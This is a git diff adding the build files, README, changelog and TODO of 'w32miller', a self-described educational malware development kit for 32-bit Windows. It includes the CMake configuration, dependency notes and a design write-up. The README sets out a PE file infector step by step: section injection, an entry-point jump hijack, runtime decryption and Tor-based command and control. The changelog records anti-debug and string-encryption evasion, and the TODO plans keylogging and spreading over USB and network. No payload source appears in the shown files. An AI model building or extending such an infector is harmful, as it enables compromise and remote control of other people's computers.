+ * added flex dep for wine
+ * stable nasm release 2.12.02
+ * added (wine|nasm) build (wine and flex>2.6.1 breaks build)
+ * added sysroot/${MINGW} to $PATH
+ * additional checks (e.g. alrdy configured)
+ * fixed `set -e` -> BASH_EXITONFAIL check
+ * comments + format fix
+ * pe + patch stuff
+ * print GetLastError()
+ * rundll can now load the module at a given address (force relocation!)
+ * added nopsleds + loader struct
+ * updated CHANGELOG
+ * patchJMP
+ * added bswap inline func (gcc builtin)
+ * _MILLER_IMAGEBASE macro ifdef, bAddSection(...) checks if section alrdy exists
+ * fixed README typ0, fixed loader_base format string
+ * added PE related tests
+ * basic binary patch enviroment
+ * binary patcher skeleton
+ * renamed TODO.txt
+ * Add contribution guide
+ * Add license
+ * generated changelog
+ * added markdown README
+ * todo + basic doc
+ * added additional debug check
+ * added GetLastError after execution
+ * linker script: dont sort sections, changed miller ldflags (linker map etc)
+ * moved unused tools to tools/old
+ * loader forces dll to relocate if _MILLER_IMAGEBASE is set
+ * pe relocation should finally work
+ * fixed VirtualAlloc, it overwrites ecx (sizeof malwareDLL)
+ * crt fix for returned dll value (0xdeadc0de)
+ * .idata and .edata should stay in both miller dlls so windows api LoadLibrary(...) will accept it
+ * manual dll relocation work in progress
+ * dont use file alignment because windows loader doesnt like it, pre release keeps .edata and .idata, crt checks now if started by loader or LoadLibrary(...)
+ * disabled -Wl,--file-alignment, windows loader does not like it
+ * loadmodule forces loaded malware dll to relocate
+ * fixed broken dll reloc section -,-
+ * -ffreestanding
+ * whitespaces..
+ * loadmodule bin
+ * loader VirtualAlloc without specific base address if previously failed
+ * fixed header size check, improved bAddSection(...), cmake_strip
+ * loader decryption, anti-debug
+ * fixed loader_base stuff, rundll shows return value now in hex&&dec
+ * python scripts should return a non-zero value on a fatal err, removed unused win batch script
+ * lightwight x86-64 decoding works
+ * config fix
+ * build mingw64 from scratch /2
+ * build mingw64 from scratch
+ * make dependencies (mingw64 ..)
+ * linker script changes
+ * internal x86-asm decoding
+ * python script removing DOS header stub + unused header values
+ * loader runtime decryption
+ * embedded loader shellcode in malware dll
+ * crypt editable define keyname
+ * fixed aes encrypt buffer size, build tests with default linker script
+ * encrypt escaped c strings (e.g. \xFF\x90\x00 ...), loader shellcode encryption
+ * section xor macros
+ * loader vars
+ * pe section (writeable/executable)
+ * disasm decode internal
+ * smth
+ * minimalized linker script
+ * improved file handling && pe infection
+ * +SetFilePointer,GetLastError && format(...) realloc ptr fail
+ * fixed compatibility malfunction during tests ( missing a few COMPAT(...) )
+ * custom gnu linker script ..
+ * merge text and rdata segments
+ * fixed compile errors
+ * libw32miller distorm link, disasm distorm interface, disasm tool
+ * distorm disasm tool
+ * distorm tests
+ * changed compat format (%lu & %ld is now 64 bit wide), added compat (v)asprintf
+ * bether cmake cmds, distorm testing wip
+ * distorm integrated, testing ..
+ * distorm assembler
+ * export function pointer to struct
+ * encode register
+ * mnemonic parser
+ * moved header files to header directory
+ * aes dynamic memory ilog/sbox
+ * generate loader shellcode, winapi function name encryption
+ * string encryption done
+ * compile string encryption (xor)
+ * added stack-based xor crypt support (dynamic mem alloc not neccessary)
+ * added XOR string encryption and pre-compile header generation
+ * check for wine+python
+ * added compat
+ * aescrypt encrypts string before dll compilation
+ * aescrypt skeleton + aes randomkey
+ * asm + aes
+ * added basic asm (en|de)coder and test
+ * added 0xdeadc0de as loader end marker
+ * support changeable loader section for loader_base testing
+ * optimized
+ * python patch script (patching test loader, loader_base)
+ * malware dll injection
+ * -,-
+ * infection works
+ * added CMake rule (build allowed in topdir only) added project config in top cmake dll sets and gets image base
+ * fixed rundll bug (import data directory NULL), nullExportTable nulls import table too
+ * fixed wrong register assignment in rundll, dont use ExitProcess() in main anymore
+ * done
+ * loader + crt works, 3 more idata functions needs to be resolved manually
+ * loader memcpy header/sections (theres an error somewhere ..)
+ * major loader fixes
+ * get address of GetProcAddress from kernel32 export table through PEB->Ldr
+ * better string loading and stack layout
+ * get kernel base adr from PEB with pre calculated hash
+ * CRT works now correct (exits __start subroutine if __main returns NULL)
+ * fixed .miller section address (win7 does not like not-continuos sections ;)
+ * loader reads all necessary pe data, added nasm cmake compile flags
+ * updated TODO
+ * codeblock not supported anymore ..
+ * loadlib is now obsolete..
+ * loader read pe (1/2)
+ * fixed custom command bug
+ * doin da loada
+ * loader stuff ..
+ * removing rdata$zzz manually with objcopy
+ * be less verbose
+ * print imported libs from pe
+ * prerelease target
+ * codeblocks fix
+ * *.nasm -> *.asm
+ * added tools cmake
+ * better gcc fingerprint removing, CMakeLists compiles nasm sources
+ * removed libudis86 ..
+ * renamed src to source
+ * better compat testing + cmake tests
+ * tests cmake
+ * added libudis disasm as base for encoder
+ * cmake compatibility, cz codeblocks sucks
+ * cmake compatibility, cz codeblocks sucks
+ * CMake compatible..
+ * new target: base relocations
+ * remove linker major+minor version, infector todo, loader stub
+ * pe section injection
+ * fixed null-byte error in compat testing, some asm stuff, removed uselss pe infection routines
+ * binary diff
+ * LOG_MARKER uses now printf_ex, python script zeros unused export table
+ * format_ex, printf_ex compat works
+ * dont use `unsigned long long int` as function parameter ... -_-
+ * fixed (u)lltoa
+ * cbp2mk not needed anymore ..
+ * (u)lltoa
+ * using brctl is so much fun
+ * math, meth, magic
+ * yo_mama
+ * m0w
+ * fu
+ * miller is now relocatable
+ * compat
+ * str* tests
+ * m0w
+ * m0wL
+ * dummy blah
+ * removing gcc fingerprint finished
+ * need to fix removeGccVersion.py on devlap..
+ * blablatest
+ * blubb
+ * compat
+ * tests
+ * py
+ * target test
+ * test, loadlib
+ * codeblocks targets finally working
+ * happy nightmares
+ * merry xmas
+ * m0wL
+ * muh
+ * blubb
+ * blubb
+ * blah
+ * section adder + codeblock project file
+ * ReadPEFile, Next: ReadSections
+ * initial commit
diff --git a/CMakeLists.txt b/CMakeLists.txt
new file mode 100644
index 0000000..2592ae4
--- /dev/null
+++ b/CMakeLists.txt
@@ -0,0 +1,254 @@
+cmake_minimum_required(VERSION 3.0.2)
+set(CMAKE_MODULE_PATH "${CMAKE_CURRENT_SOURCE_DIR}/cmake")
+set(BUILD_FROM_TOPDIR true)
+
+include(CMakeBuildDeps)
+
+set(ERR_DEPS_FIRST "\nRun ./deps/makedeps.sh first!")
+
+set(NASM_BIN ${CMAKE_SOURCE_DIR}/deps/sysroot/i686-w64-mingw32/bin/nasm)
+find_program(NASM ${NASM_BIN})
+if(NOT NASM)
+ message(FATAL_ERROR "${NASM_BIN} is required to compile DLL crt/loader/decrypter ${ERR_DEPS_FIRST}")
+endif()
+message(STATUS "nasm....: ${NASM_BIN}")
+
+set(CMAKE_ASM_NASM_COMPILER ${NASM})
+
+set(PYTHON_BIN ${CMAKE_SOURCE_DIR}/deps/sysroot/bin/python2.7)
+find_program(PYTHON NAMES ${PYTHON_BIN})
+if(NOT PYTHON)
+ message(FATAL_ERROR "${PYTHON_BIN} is required for initial loader patching ${ERR_DEPS_FIRST}")
+endif()
+message(STATUS "python..: ${PYTHON}")
+
+set(PYTHON_HDR ${CMAKE_SOURCE_DIR}/deps/sysroot/include/python2.7)
+find_path(PYTHON_INCDIR NAMES Python.h HINTS ${PYTHON_HDR})
+if(NOT PYTHON_INCDIR)
+ message(FATAL_ERROR "${PYTHON_HDR}/Python.h is required for initial loader patching ${ERR_DEPS_FIRST}")
+endif()
+message(STATUS "Python.h: ${PYTHON_INCDIR}/Python.h")
+
+set(ERR_HOST_TOOLS "is required for build pre-compilation host-tools (e.g. header encryption)")
+find_program(HOSTCC NAMES ${CMAKE_SOURCE_DIR}/deps/sysroot/bin/gcc)
+if(NOT HOSTCC)
+ message(FATAL_ERROR "host gcc ${ERR_HOST_TOOLS} ${ERR_DEPS_FIRST}")
+endif()
+message(STATUS "hostcc..: ${HOSTCC}")
+
+find_program(HOSTLD NAMES ${CMAKE_SOURCE_DIR}/deps/sysroot/bin/ld)
+if(NOT HOSTLD)
+ message(FATAL_ERROR "host ld ${ERR_HOST_TOOLS} ${ERR_DEPS_FIRST}")
+endif()
+message(STATUS "hostld..: ${HOSTLD}")
+
+find_program(HOSTGO NAMES ${CMAKE_SOURCE_DIR}/deps/sysroot/bin/go)
+if(NOT HOSTGO)
+ message(FATAL_ERROR "host go ${ERR_HOST_TOOLS} ${ERR_DEPS_FIRST}")
+endif()
+message(STATUS "hostgo..: ${HOSTGO}")
+
+include(CMakeMillerFuncs)
+
+set(CMAKE_SYSTEM_NAME Windows)
+set(TOOLCHAIN_PREFIX ${CMAKE_SOURCE_DIR}/deps/sysroot/i686-w64-mingw32/bin/i686-w64-mingw32)
+set(CMAKE_C_COMPILER ${TOOLCHAIN_PREFIX}-gcc)
+set(CMAKE_LINLER ${TOOLCHAIN_PREFIX}-ld)
+set(CMAKE_RC_COMPILER_INIT ${TOOLCHAIN_PREFIX}-windres)
+set(CMAKE_CXX_COMPILER false)
+set(CMAKE_CXX_LINK_EXECUTABLE false)
+set(CMAKE_INSTALL_PREFIX "/usr" CACHE STRING "install prefix" FORCE)
+
+set(CMAKE_FIND_ROOT_PATH ${CMAKE_SOURCE_DIR}/deps/sysroot)
+set(CMAKE_FIND_ROOT_PATH_MODE_PROGRAM NEVER)
+set(CMAKE_FIND_ROOT_PATH_MODE_LIBRARY ONLY)
+set(CMAKE_FIND_ROOT_PATH_MODE_INCLUDE ONLY)
+
+set(INSTALL_DEST w32miller_shipped/bin CACHE STRING "install destination")
+set(MILLER_HDRDIR "${CMAKE_SOURCE_DIR}/include" CACHE INTERNAL "" FORCE)
+set(MILLER_HDRDIR_CREATED "${CMAKE_CURRENT_BINARY_DIR}/include" CACHE INTERNAL "" FORCE)
+set(MILLER_SRCDIR "${CMAKE_SOURCE_DIR}/source" CACHE INTERNAL "" FORCE)
+GetMillerSectionFromInclude("${MILLER_HDRDIR}/xor_strings.h" "DLLSECTION" tmp)
+if(NOT tmp)
+ message(FATAL_ERROR "unable to get miller section name from include file")
+endif()
+set(MILLER_API_VERSION 1 CACHE INTERNAL "" FORCE)
+set(MILLER_SECTION ${tmp} CACHE STRING "default pe32 section name")
+set(MILLER_SECTION_ADDRESS 0x40a000 CACHE STRING "sets libw32miller section adr")
+set(MILLER_IMAGEBASE 0x10000000 CACHE STRING "default pe32 imagebase")
+set(ENABLE_MSG_PIPES OFF CACHE BOOL "use named pipes for communication")
+set(BUILD_TESTS OFF CACHE BOOL "build tests executable")
+set(BUILD_ALL_TOOLS OFF CACHE BOOL "build decrypter/disasm/loader_decrypt test executables")
+set(BUILD_CNCMASTER OFF CACHE BOOL "build the command and control center: master instance")
+set(BUILD_CNCPROXY OFF CACHE BOOL "build the command and control center: forwarding proxy instance")
+set(ENABLE_IRC OFF CACHE BOOL "enable IRC support (deprecated/obsolete)")
+set(HTTP_LOCALHOST OFF CACHE BOOL "client uses localhost as connect back adr instead of web2tor gateways")
+set(INFECT_DUMMY OFF CACHE BOOL "malware will ONLY infect dummy.exe in the current working dir")
+set(EXTRA_VERBOSE OFF CACHE BOOL "print additional debugging information (_PRE_RELEASE only!)")
+
+unset(tmp)
+GetMillerSectionFromInclude("${MILLER_HDRDIR}/xor_strings.h" "LDRSECTION" tmp)
+if(NOT tmp)
+ message(FATAL_ERROR "unable to get loader section name from include file")
+endif()
+
+set(LOADER_SECTION ${tmp} CACHE STRING "default pe32 loader section name")
+set(LOADER_ENDMARKER "0xde,0xad,0xc0,0xde" CACHE STRING "loader endmarker, see include/loader.h, FORMAT must be 0x11,0x22,0x33,0x44,...")
+string(REPLACE " " "" LOADER_ENDMARKER ${LOADER_ENDMARKER})
+set(DECRYPTER_X86 decrypter_x86 CACHE INTERNAL "" FORCE)
+set(LOADER_X86 loader_x86 CACHE INTERNAL "" FORCE)
+set(LOADER_HEADER ${MILLER_HDRDIR_CREATED}/${LOADER_X86}.h CACHE INTERNAL "" FORCE)
+set(LOADER_CRYPT ${MILLER_HDRDIR_CREATED}/${LOADER_X86}_crypt.h CACHE INTERNAL "" FORCE)
+
+if(ENABLE_MSG_PIPES)
+ set(pipes_defs _USE_PIPES=1)
+endif()
+set(MILLER_PRE_DEFS "_API_VERSION=${MILLER_API_VERSION}" "_PRE_RELEASE=1" "${pipes_defs}" CACHE INTERNAL "" FORCE)
+set(MILLER_DEFS "_API_VERSION=${MILLER_API_VERSION}" "${pipes_defs}" CACHE INTERNAL "" FORCE)
+set(LOADERBASE_DEFS _MILLER_IMAGEBASE=${MILLER_IMAGEBASE} _MILLER_SECTION=${MILLER_SECTION} _LDR_SECTION=${LOADER_SECTION} _LOADER_ENDMARKER=${LOADER_ENDMARKER} "" CACHE INTERNAL "" FORCE)
+
+set(CMAKE_C_FLAGS "-Wall -Wextra -Werror -std=gnu99" CACHE INTERNAL "" FORCE)
+set(default_cflags "-Wno-cast-function-type -Wno-implicit-fallthrough -Wno-switch -ffast-math -fno-trapping-math -fno-stack-check -fno-stack-protector -mno-stack-arg-probe -fvisibility=hidden -fomit-frame-pointer -fexpensive-optimizations -Os -static -fdata-sections -ffunction-sections -falign-functions=1 -falign-jumps=1 -falign-loops=1 -fno-unwind-tables -fno-asynchronous-unwind-tables -fno-unroll-loops -fmerge-all-constants -fno-ident -fno-zero-initialized-in-bss" CACHE INTERNAL "" FORCE)
+set(default_ldflags "-s -nostdlib -nodefaultlibs -nostartfiles -Wl,--exclude-all-symbols -Wl,--exclude-libs,msvcrt.a -Wl,-e,_start -Wl,--gc-sections -Wl,--strip-all -Qn -Wl,--subsystem,windows -fPIE -Wl,--dynamicbase -Wl,--nxcompat -Wl,-rpath-link,${CMAKE_SOURCE_DIR}/batch/miller_linker_script.ld ${CMAKE_SOURCE_DIR}/batch/miller_linker_script.ld" CACHE INTERNAL "" FORCE)
+set(miller_cflags "-fno-builtin -ffreestanding -D_INC_STRING=1 -D_CRT_ALLOCATION_DEFINED=1 -D_MALLOC_H_=1 -D_PROCESSENV_=1 -D_WINCON_=1 -D_STDIO_DEFINED=1" CACHE INTERNAL "" FORCE)
+
+project(w32miller C)
+set(CMAKE_VERBOSE_MAKEFILE ON)
+set(CMAKE_RULE_MESSAGES OFF)
+
+set(CMAKE_ARCHIVE_OUTPUT_DIRECTORY ${CMAKE_BINARY_DIR}/lib)
+set(CMAKE_LIBRARY_OUTPUT_DIRECTORY ${CMAKE_BINARY_DIR}/lib)
+set(CMAKE_RUNTIME_OUTPUT_DIRECTORY ${CMAKE_BINARY_DIR}/bin)
+
+set(STAMP_DIR ${CMAKE_RUNTIME_OUTPUT_DIRECTORY} CACHE INTERNAL ".stamp files output directory" FORCE)
+set(LOADER_HEADER_STAMP ${STAMP_DIR}/.loader-header-build CACHE INTERNAL "" FORCE)
+set(LOADER_CRYPT_STAMP ${STAMP_DIR}/.loader-crypt-header-build CACHE INTERNAL "" FORCE)
+
+file(MAKE_DIRECTORY ${MILLER_HDRDIR_CREATED})
+# build host tools first (hdr_crypt, python modules)
+include(CMakeMillerHostTools)
+# build CRT, Loader and DLL
+include(CMakeMillerBuild)
+# build Windows tools
+include(CMakeMillerTools)
+# build Windows tests
+include(CMakeMillerTests)
+
+# if you are building in-source, this is the same as CMAKE_SOURCE_DIR, otherwise
+# this is the top level directory of your build tree
+MESSAGE(STATUS "CMAKE_BINARY_DIR........: " ${CMAKE_BINARY_DIR})
+
+# if you are building in-source, this is the same as CMAKE_CURRENT_SOURCE_DIR, otherwise this
+# is the directory where the compiled or generated files from the current CMakeLists.txt will go to
+MESSAGE(STATUS "CMAKE_CURRENT_BINARY_DIR: " ${CMAKE_CURRENT_BINARY_DIR})
+
+# this is the directory, from which cmake was started, i.e. the top level source directory
+MESSAGE(STATUS "CMAKE_SOURCE_DIR........: " ${CMAKE_SOURCE_DIR})
+
+# this is the directory where the currently processed CMakeLists.txt is located in
+MESSAGE(STATUS "CMAKE_CURRENT_SOURCE_DIR: " ${CMAKE_CURRENT_SOURCE_DIR})
+
+# contains the full path to the top level directory of your build tree
+MESSAGE(STATUS "PROJECT_BINARY_DIR......: " ${PROJECT_BINARY_DIR})
+
+# contains the full path to the root of your project source directory,
+# i.e. to the nearest directory where CMakeLists.txt contains the PROJECT() command
+MESSAGE(STATUS "PROJECT_SOURCE_DIR......: " ${PROJECT_SOURCE_DIR})
+
+# this is the complete path of the cmake which runs currently (e.g. /usr/local/bin/cmake)
+MESSAGE(STATUS "CMAKE_COMMAND...........: " ${CMAKE_COMMAND})
+
+# this is the CMake installation directory
+MESSAGE(STATUS "CMAKE_ROOT..............: " ${CMAKE_ROOT})
+
+# the complete system name, e.g. "Linux-2.4.22", "FreeBSD-5.4-RELEASE" or "Windows 5.1"
+MESSAGE(STATUS "CMAKE_SYSTEM............: " ${CMAKE_SYSTEM})
+
+# the short system name, e.g. "Linux", "FreeBSD" or "Windows"
+MESSAGE(STATUS "CMAKE_SYSTEM_NAME.......: " ${CMAKE_SYSTEM_NAME})
+
+# is TRUE on all UNIX-like OS's, including Apple OS X and CygWin
+if(UNIX)
+ MESSAGE(STATUS "UNIX....................: " ${UNIX})
+endif()
+
+# WIN32 is TRUE on Windows (including CygWin)
+# MINGW is TRUE for all mingw toolchains (mingw, mingw64)
+if(NOT WIN32 OR NOT MINGW)
+ MESSAGE(FATAL_ERROR "Miller requires a *FULL* mingw64 toolchain! ${ERR_DEPS_FIRST}")
+endif()
+MESSAGE(STATUS "WIN32...................: " ${WIN32})
+
+# is TRUE when using the MinGW compiler in Windows
+MESSAGE(STATUS "MINGW...................: " ${MINGW})
+
+# If set, runtime paths are not added when using shared libraries. Default it is set to OFF
+MESSAGE(STATUS "CMAKE_SKIP_RPATH........: " ${CMAKE_SKIP_RPATH})
+
+# set this to true if you are using makefiles and want to see the full compile and link
+# commands instead of only the shortened ones
+MESSAGE(STATUS "CMAKE_VERBOSE_MAKEFILE..: " ${CMAKE_VERBOSE_MAKEFILE})
+
+# A simple way to get switches to the compiler is to use ADD_DEFINITIONS().
+# But there are also two variables exactly for this purpose:
+
+# the compiler used for C files
+MESSAGE(STATUS "CMAKE_C_COMPILER........: " ${CMAKE_C_COMPILER})
+MESSAGE(STATUS "CMAKE_LINKER............: " ${CMAKE_LINLER})
+
+# if the compiler is a variant of gcc, this should be set to 1
+MESSAGE(STATUS "CMAKE_COMPILER_IS_GNUCC.: " ${CMAKE_COMPILER_IS_GNUCC})
+
+# the tools for creating libraries
+MESSAGE(STATUS "CMAKE_AR................: " ${CMAKE_AR})
+MESSAGE(STATUS "CMAKE_RANLIB............: " ${CMAKE_RANLIB})
+MESSAGE(STATUS "CMAKE_OBJCOPY...........: " ${CMAKE_OBJCOPY})
+
+# nasm
+MESSAGE(STATUS "NASM....................: " ${NASM})
+
+# default (C|LD)flags
+MESSAGE(STATUS "CMAKE CFLAGS............: " ${CMAKE_C_FLAGS})
+if(CMAKE_LD_FLAGS)
+ MESSAGE(STATUS "CMAKE LDFLAGS...........: " ${CMAKE_LD_FLAGS})
+endif()
+MESSAGE(STATUS "DEFAULT CFLAGS..........: " ${default_cflags})
+MESSAGE(STATUS "DEFAULT LDFLAGS.........: " ${default_ldflags})
+# miller output
+MESSAGE(STATUS "MILLER CFLAGS...........: " ${miller_cflags})
+MESSAGE(STATUS "MILLER SECTION..........: " ${MILLER_SECTION})
+MESSAGE(STATUS "LOADER SECTION..........: " ${LOADER_SECTION})
+MESSAGE(STATUS "ENDMARKER...............: " ${LOADER_ENDMARKER})
+MESSAGE(STATUS "LOADERBASE DEFS.........: " ${LOADERBASE_DEFS})
+MESSAGE(STATUS "MILLER DEFS.............: " ${MILLER_DEFS})
+MESSAGE(STATUS "MILLER PRE DEFS.........: " ${MILLER_PRE_DEFS})
+string(REPLACE ";" ", " DISTORM_SRC_OUT "${DISTORM_SRC}")
+string(REPLACE ";" ", " MILLER_SRC_OUT "${MILLER_SRC}")
+string(REPLACE ";" ", " TESTS_SRC_OUT "${TESTS_SRC}")
+MESSAGE(STATUS "DISTORM SOURCES.........: " ${DISTORM_SRC_OUT})
+MESSAGE(STATUS "MILLER SOURCES..........: " ${MILLER_SRC_OUT})
+MESSAGE(STATUS "CRT, LOADER, DECRYPTER..: " ${CRT_X86_SRC} ", " ${LOADER_X86_SRC} ", " ${DECRYPTER_X86_SRC})
+MESSAGE(STATUS "TESTS SOURCES...........: " ${TESTS_SRC_OUT})
+MESSAGE(STATUS "BUILD CNCMASTER.........: " ${BUILD_CNCMASTER})
+MESSAGE(STATUS "BUILD CNCPROXY..........: " ${BUILD_CNCPROXY})
+
+if(NOT DISTORM_SRC OR NOT MILLER_SRC OR NOT TESTS_SRC)
+ MESSAGE(FATAL_ERROR "Some sources are missing: Maybe changed some CMake scripts at the wrong place?")
+endif()
+if(NOT CRT_X86_SRC)
+ MESSAGE(FATAL_ERROR "${CRT_X86} missing")
+endif()
+if(NOT LOADER_X86_SRC)
+ MESSAGE(FATAL_ERROR "${LOADER_X86} missing")
+endif()
+if(NOT DECRYPTER_X86_SRC)
+ MESSAGE(FATAL_ERROR "${DECRYPTER_X86} missing")
+endif()
+
+MESSAGE(STATUS "Performing Compilation Tests ..")
+CompileCSource("int main(void) { return 0; }" DC_RESULT "${CMAKE_C_FLAGS} ${default_cflags}" "" "" "" TRUE)
+CompileCSource("int main(void) { return 0; }" DLD_RESULT "${CMAKE_C_FLAGS} ${default_cflags} ${default_ldflags}" "" "" "" TRUE)
+CompileCSource("int main(void) { return 0; }" EDLD_RESULT "${CMAKE_C_FLAGS} ${default_cflags} ${miller_cflags} ${default_ldflags}" "" "" "" TRUE)
+if(NOT DC_RESULT OR NOT DLD_RESULT OR NOT EDLD_RESULT)
+ MESSAGE(FATAL_ERROR "Some compiler/linker flags are not accepted by your compiler/linker. ${ERR_DEPS_FIRST}")
+endif()
diff --git a/CONTRIBUTING.md b/CONTRIBUTING.md
new file mode 100644
index 0000000..8b9f888
--- /dev/null
+++ b/CONTRIBUTING.md
@@ -0,0 +1,2 @@
+<b>segfault</b><br />
+<b>lns</b><br />
diff --git a/INSTALL b/INSTALL
new file mode 100644
index 0000000..6fefbd2
--- /dev/null
+++ b/INSTALL
@@ -0,0 +1,28 @@
+You need the following dependencies to run `makedeps.sh` successfully:
+ required: coreutils, wget, tar, gzip, bzip2, patch, cmake, make,
+ binutils, gcc, g++, autoconf, automake, flex, bison, texinfo, zlib
+
+ Host TOR (HiddenService):
+ libevent, openssl
+
+ Mingw TOR (LibTor):
+ perl
+
+On debian you can install them with:
+ `sudo apt-get install coreutils wget tar gzip bzip2 patch cmake make binutils gcc g++ autoconf automake flex bison texinfo libz-dev`
+
+ Host TOR (HiddenService):
+ `sudo apt-get install libevent-dev libssl-dev`
+
+ Mingw TOR (LibTor):
+ `sudo apt-get install perl`
+
+On archlinux:
+ `sudo pacman -Syu coreutils wget tar gzip bzip2 patch cmake make binutils gcc g++ autoconf automake flex bison texinfo zlib`
+
+ Host TOR (HiddenService):
+ `sudo pacman -Syu libevent openssl`
+
+ Mingw TOR (LibTor):
+ `sudo pacman -Syu perl`
+
diff --git a/LICENSE b/LICENSE
new file mode 100644
index 0000000..32b1c27
--- /dev/null
+++ b/LICENSE
@@ -0,0 +1 @@
+NOT FOR FREE DISTRIBUTION! \ No newline at end of file
diff --git a/README.md b/README.md
new file mode 100644
index 0000000..b9ceefb
--- /dev/null
+++ b/README.md
@@ -0,0 +1,127 @@
+abstract
+========
+The project emerged during my studies. <br />
+It is basicially a showcase demonstration how malware works in generel. <br />
+How the infection process and command&control infrastructure works in particular. <br />
+However, as I never had the time to finished it (and presumably lost focus), it is still premature. So please see this project as a demonstration showcase and not as a finished copy-pasta-ready development framework. <br />
+As this project was written by an unexperienced and fault-tolerant student, the code looks ugly w/ limited readability, missing documentation and may crash at any time. <br />
+<br />
+
+w32miller
+========
+An educational malware development kit or my preferable abbreviation: **mdk**. <br />
+Only x86 architectures are supported at the moment. Most of the code is written in C, porting it to other architecture isn't wizardry. <br />
+The more complex parts are the assembler sources, which are tied to x86. Porting the loader to x64 may cause some headaches. <br />
+It's name was derived from [Chaim Miller](https://www.imdb.com/title/tt4591236/), the real Inglourious Basterd. <br />
+Why did I choose that name you may ask. Long story - to make it short: I love his attitude! <br />
+Used languages: <b>Bash</b>, <b>CMake</b>, <b>ASM-x86</b>, <b>C</b>, <b>Go</b>, <b>Python</b> <br />
+<br />
+
+build
+========
+As my favourite platforms are (Arch|Debian) based, the whole config&build process was designed to work on those platforms. <br />
+Other build environments may not produce the desired results. <br />
+The following commands should only be run once. <br /><br />
+## Pre-Requirements (debian) <br />
+`sudo apt-get install g++ gcc autoconf automake flex bison texinfo cmake` <br />
+See <b>INSTALL</b> for more information. <br />
+<br />
+## Build miller toolchain <br />
+`./deps/makedeps.sh N` (where N is the number of simultaneous build jobs, default: 1)<br />
+It will download/extract/compile basic developer tools (python-2.7.18, nasm-2.12.02, binutils-2.31.1, gcc-8.2.0, mingw-w64-v6.0.0) <br />
+The Toolchain build is necessary, because we will probably use a patched gcc in the future. <br />
+<b>WARNING</b>: The project may neither compile nor work with other toolchain combinations! <br />
+<br />
+## Configure project <br />
+`cd /path/to/project` <br />
+`mkdir build && cd build` <br />
+`cmake -DBUILD_ALL_TOOLS=ON -DBUILD_CNCPROXY=ON -DBUILD_TESTS=ON -DEXTRA_VERBOSE=ON -DHTTP_LOCALHOST=ON -DINFECT_DUMMY=ON ..`<br />
+<br />
+## Build project <br />
+`make -jN` (where N is the number of simultaneous build jobs) <br />
+<br />
+To install all generated binaries use: `make install DESTDIR=[PATH]` <br />
+<br />
+## Try it! <br />
+There are a several ways to tryout this project. <br />
+If you want a basic CNC communication you should start the cncproxy first with: `[BUILD_DIR]/host-tools/cncproxy-host` <br />
+ 1. `cd [BUILD_DIR]/bin`
+ 2. `wine loader_base.exe` (<b>PART</b> encrypted binary) <br />
+ 3. <b>OR</b> `wine loader_base_enc.exe` (<b>FULL</b> encrypted binary) <br />
+ 4. run `wine dummy.exe 120` which should now be infected and try to contact the CNC service <br />
+Other intresting executables: <br />
+ * `wine runbin.exe libw32miller_pre-shared.dll` <br />
+ * `wine runbin.exe libw32miller-shared.dll` <br />
+ * `wine runbin.exe bin/w32miller_pre.bin` <br />
+ * `wine runbin.exe bin/w32miller.bin` <br />
+<br />
+Test Windows Portable Executable compliance: <br />
+ * `wine loadmodule.exe bin/libw32miller_pre-shared.dll` <br />
+ * `wine loadmodule.exe bin/libw32miller-shared.dll` <br />
+UNIT tests: <br />
+ * `wine tests.exe` <br />
+<br />
+Or use a virtual machine and run it there. (e.g. VirtualBox) <br />
+<br />
+This is an educational mdk only: It tries to infect <b>one</b> windows pe binary named <b>dummy.exe</b> in your current working directory. <br />
+<br />
+<b>WARNING</b>: It is highly recommended to use a VM like <b>virtualbox</b>. Otherwise you should install <b>wine</b>. <br />
+
+features
+========
+ - patched mingw64 toolchain (and build script) <br />
+ - tor and patched libtor support <br />
+ - minimal x86/x64 disassembler/patcher <br />
+ - pe code/data injector <br />
+ - command&control communication (http-web2tor/irc; replaced by libtor in the future) <br />
+ - python bottle based c&c service <br />
+<br />
+
+how it works
+========
+DLL (infect): <br />
+ 1. DLL adds loader section to target (default: .minit) <br />
+ 2. DLL adds own section to target (default: .miller) <br />
+ 3. DLL sets const data in loader <br />
+ 4. DLL copies the loader to its section <br />
+ 5. DLL copies itself to its very own section <br />
+ 6. DLL injects FAR JUMP somewhere near the EntryPoint RVA and set the operand to the loader VA <br />
+<br />
+An infected file: <br />
+ 1. somewhere near the Address of EntryPoint RVA it calls the loader entry address <br />
+<br />
+LOADER: <br />
+ 1. decrypt strings <br />
+ 2. get some function pointers/data <br />
+ 3. copy encrypted DLL section to temporary allocated buffer <br />
+ 4. decrypt DLL if encrypted and read PE header <br />
+ 5. allocate memory for image sections <br />
+ 6. copy sections from (parsed/plain PE file) temp buffer to final destinations <br />
+ 7. do fixups if image relocation is necessary <br />
+ 8. jump to the CRT <br />
+<br />
+CRT (part of DLL): <br />
+ 1. does minimal initializing <br />
+ 2. check if started by loader (and set data/register as needed) <br />
+ 3. setup function parameter <br />
+ 4. call real dll entry function _main(...) <br />
+ 5. start some threads e.g. infection/network thread
+ 6. cleanup stack <br />
+ 7. return to the loader <br />
+<br />
+LOADER: <br />
+ 9. cleanup and jump back right after where we were injected <br />
+<br />
+
+Command'n'Control (<b>CNC</b>)
+========
+The Go written CNC proxy which acts as man-in-the-middle between an infected binary and CNC master. <br />
+CNC proxy does the basic authentication and receives commands from the CNC master. <br />
+Keep in mind that this part of the project is the most ALPHA'ic one. <br />
+So the cncmaster does not do anything useful at the moment. <br />
+For a very basic test, the cncproxy is sufficient. <br />
+<br />
+
+Documentation (coming soon)
+========
+![Basic App Architecture](/doc/apps.png)
diff --git a/TODO b/TODO
new file mode 100644
index 0000000..390513f
--- /dev/null
+++ b/TODO
@@ -0,0 +1,18 @@
+[TODO]
+
+1. finish cncproxy/cncmaster in a way that they send commands to an infected machine and receive the output
+ * cncmaster sends commands to cncproxy, which forwards it to the target(s)
+ * target(s) send command output to cncproxy, which forwards it to the cncmaster
+
+2. more machine information gathering (keylogger/screenshots)
+3. Set/Check and use Loader Flags (see loader.h)
+4. recrypt strings on every new infected binary
+5. hdrcrypt: use 8 byte key and pad strings less than 8 byte (random bytes after NUL)
+6. spreading (local/usb/net)
+7. use named shared memory segment for ipc on local machine
+
+8. replace __xultoa with mini_itoa !?
+9. packing/unpacking
+
+last but not least:
+ - make use of _API_VERSION macro
diff --git a/batch/genChangelog.sh b/batch/genChangelog.sh
new file mode 100755
index 0000000..8388162
--- /dev/null
+++ b/batch/genChangelog.sh
@@ -0,0 +1,19 @@
+#!/bin/bash
+# Author: Andrey Nikishaev, Gunnar Lindholm
+# From: http://stackoverflow.com/questions/7387612/git-changelog-how-to-get-all-changes-up-to-a-specific-tag
+echo "CHANGELOG"
